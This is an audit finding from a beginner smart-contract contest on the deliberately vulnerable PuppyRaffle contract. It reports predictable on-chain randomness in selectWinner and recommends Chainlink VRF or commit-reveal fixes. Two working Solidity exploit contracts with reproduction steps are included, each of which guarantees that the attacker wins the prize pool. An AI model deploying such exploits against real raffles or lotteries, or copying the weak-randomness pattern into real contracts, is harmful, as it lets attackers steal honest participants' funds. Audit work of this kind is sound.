Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness

Root + Impact

Reference files

./src/PuppyRaffle.sol

Description

  • The PuppyRaffle::selectWinner function is designed to randomly select a winner from the array of players who have entered the raffle, ensuring fairness where each participant has an equal probability of winning. The winner receives 80% of the total ETH collected as a prize, and the remaining 20% is collected as fees.

  • The function uses predictable blockchain data (msg.sender, block.timestamp, and block.difficulty) as the source of randomness for selecting the winner. Since all these values are either publicly known before transaction execution or controllable by the transaction sender, an attacker can predict the exact winner before calling the function. More critically, an attacker can deploy a contract that only executes selectWinner() when they are guaranteed to win, reverting all other attempts. This allows malicious actors to manipulate the raffle outcome with 100% certainty, completely undermining the fairness of the system.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> Randomness uses only predictable on-chain data
uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// @> Same weak randomness used for NFT rarity
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood: High

  • Any participant can deploy a smart contract that calculates the winner using the exact same formula before calling selectWinner(), allowing them to predict the outcome with 100% accuracy at any given block.

  • An attacker can implement conditional execution logic that reverts the transaction unless they would win, allowing them to repeatedly attempt the function call at different timestamps until finding a favorable outcome. Failed attempts only cost gas for reverted transactions.

  • Miners and validators have some degree of control over block.difficulty (now block.prevrandao in post-merge Ethereum), enabling them to manipulate this value to influence the winner selection in their favor.

  • The attack requires only basic Solidity knowledge and can be fully automated, making it accessible to a wide range of potential attackers with minimal technical barriers.

Impact: Critical

  • Complete compromise of raffle fairness: Legitimate players have virtually no chance of winning once an attacker exploits this vulnerability, as the attacker can guarantee their own victory.

  • Financial loss for all honest participants: Every legitimate player who enters the raffle will lose their entrance fee with no real chance of winning, effectively making the raffle a scam for non-attackers.

  • The NFT rarity distribution is also manipulated, allowing attackers to guarantee receiving legendary puppies (5% rarity) instead of the intended random distribution, further devaluing the NFT collection.

  • Reputational damage and loss of trust: Once exploited, users will lose all confidence in the protocol, leading to complete abandonment of the platform and potential legal liability for the protocol operators.

  • Protocol insolvency: As soon as sophisticated users discover the vulnerability, the raffle becomes unusable by honest participants, causing the protocol to fail its core purpose entirely.

Proof of Concept

Exploit Contract: test/SimpleWeakRandomnessExploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract SimpleExploit {
PuppyRaffle public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external {
// Count players
uint256 count = 0;
for (uint256 i = 0; i < 500; i++) {
try puppyRaffle.players(i) returns (address) {
count++;
} catch {
break;
}
}
// Predict winner using SAME formula as PuppyRaffle
// CRITICAL: Use address(this) because when selectWinner() is called,
// msg.sender will be this contract's address
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % count;
address predictedWinner = puppyRaffle.players(predictedIndex);
// Only proceed if WE win
require(predictedWinner == address(this), "We don't win - revert!");
// Call selectWinner - we are GUARANTEED to win
puppyRaffle.selectWinner();
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory)
public pure returns (bytes4)
{
return this.onERC721Received.selector;
}
}

Steps to reproduce in Remix IDE:

  1. Deploy PuppyRaffle with parameters: (1000000000000000000, YOUR_ADDRESS, 60)

  2. Enter 4 legitimate players with 4 ETH total using addresses:

    ["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2",
    "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db",
    "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB",
    "0x617F2E2fD72FD9D5503197092aC168c91465E7f2"]
  3. Deploy SimpleExploit with PuppyRaffle's address

  4. Enter SimpleExploit as 5th player with 1 ETH

  5. Wait 60 seconds for raffle duration to pass

  6. Call attack() repeatedly - it will revert multiple times, then succeed

  7. Verify previousWinner() returns SimpleExploit's address

  8. SimpleExploit received 4 ETH prize (80% of 5 ETH total)

Result: The exploit successfully predicts and guarantees a win. Legitimate players have no chance.

Recommended Mitigation

The only secure solution is to use a verifiable random function from an oracle service. The recommended approach is to implement Chainlink VRF (Verifiable Random Function):

+ import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
+ import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface private immutable i_vrfCoordinator;
+ bytes32 private immutable i_gasLane;
+ uint64 private immutable i_subscriptionId;
+ uint32 private immutable i_callbackGasLimit;
+ uint16 private constant REQUEST_CONFIRMATIONS = 3;
+ uint32 private constant NUM_WORDS = 2;
+
+ // Mapping to store VRF request IDs
+ mapping(uint256 => bool) private s_requestIdToExists;
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- address winner = players[winnerIndex];
-
- uint256 totalAmountCollected = players.length * entranceFee;
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
-
- uint256 tokenId = totalSupply();
-
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
- if (rarity <= COMMON_RARITY) {
- tokenIdToRarity[tokenId] = COMMON_RARITY;
- } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
- tokenIdToRarity[tokenId] = RARE_RARITY;
- } else {
- tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
- }
-
- delete players;
- raffleStartTime = block.timestamp;
- previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
+
+ // Request random words from Chainlink VRF
+ uint256 requestId = i_vrfCoordinator.requestRandomWords(
+ i_gasLane,
+ i_subscriptionId,
+ REQUEST_CONFIRMATIONS,
+ i_callbackGasLimit,
+ NUM_WORDS
+ );
+ s_requestIdToExists[requestId] = true;
}
+ // Chainlink VRF callback function with verifiable randomness
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ require(s_requestIdToExists[requestId], "Request not found");
+
+ // Use first random word for winner selection
+ uint256 winnerIndex = randomWords[0] % players.length;
+ address winner = players[winnerIndex];
+
+ uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 fee = (totalAmountCollected * 20) / 100;
+ totalFees = totalFees + uint64(fee);
+
+ uint256 tokenId = totalSupply();
+
+ // Use second random word for rarity selection
+ uint256 rarity = randomWords[1] % 100;
+ if (rarity <= COMMON_RARITY) {
+ tokenIdToRarity[tokenId] = COMMON_RARITY;
+ } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
+ tokenIdToRarity[tokenId] = RARE_RARITY;
+ } else {
+ tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
+ }
+
+ delete players;
+ raffleStartTime = block.timestamp;
+ previousWinner = winner;
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ _safeMint(winner, tokenId);
+
+ delete s_requestIdToExists[requestId];
+ }

Alternative (less secure but better than current): Use future block hash with commit-reveal pattern:

+ uint256 public commitBlock;
+
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+ require(commitBlock == 0, "Already committed");
+
+ // Commit to using a future block hash
+ commitBlock = block.number + 5;
+ }
+
+ function revealWinner() external {
+ require(commitBlock != 0, "Not committed");
+ require(block.number >= commitBlock, "Too early");
+ require(block.number < commitBlock + 256, "Commit block hash expired");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use future block hash that wasn't known at commit time
+ uint256 winnerIndex = uint256(blockhash(commitBlock)) % players.length;
address winner = players[winnerIndex];
// ... rest of the logic
+ commitBlock = 0;
}

Note: Chainlink VRF is the industry-standard solution and provides cryptographically secure, verifiable randomness that cannot be predicted or manipulated. The commit-reveal with future block hash is better than the current implementation but still has minor vulnerabilities to miner manipulation.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!